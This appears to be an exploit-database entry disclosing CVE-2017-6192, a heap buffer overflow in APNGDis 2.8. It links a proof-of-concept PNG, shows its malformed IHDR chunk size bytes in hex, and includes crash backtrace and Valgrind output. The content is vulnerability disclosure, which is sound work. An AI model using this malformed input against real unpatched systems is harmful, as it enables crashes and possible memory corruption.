62 lines
No EOL
2.5 KiB
Text
62 lines
No EOL
2.5 KiB
Text
# Exploit Title: APNGDis chunk size descriptor Buffer Overflow
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# Date: 14-03-2017
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# Exploit Author: Alwin Peppels
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# Vendor Homepage: http://apngdis.sourceforge.net/
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# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
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# Version: 2.8
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# Tested on: Linux Debian / Windows 7
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# CVE : CVE-2017-6192
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Additional analysis:
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https://www.onvio.nl/nieuws/cve-2017-6192
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POC:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41668.png
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The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4
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‰ P N G . . . . ÿ ÿ ÿ ô I H D R
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89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52
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^ ^ ^ ^
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Bash:
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Reading '../ihdr_chunk_size_poc.png'...
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*** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 ***
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======= Backtrace: =========
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/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb]
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/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96]
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/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e]
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./apngdis(+0x2e2f)[0x55569f636e2f]
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./apngdis(+0x324f)[0x55569f63724f]
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/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1]
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./apngdis(+0x16ca)[0x55569f6356ca]
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Valgrind:
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Reading '../ihdr_chunk_size_poc.png'...
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==10383== Invalid write of size 4
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==10383== at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)
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==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
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==10383== by 0x10B24E: main (apngdis.cpp:498)
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==10383== Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd
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==10383== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
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==10383== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
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==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
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==10383== by 0x10B24E: main (apngdis.cpp:498)
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==10383==
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==10383== Invalid write of size 1
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==10383== at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)
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==10383== by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)
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==10383== by 0x5B89AA8: fread (iofread.c:38)
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==10383== by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
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==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
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==10383== by 0x10B24E: main (apngdis.cpp:498)
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==10383== Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"
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==10383==
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valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
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valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415. |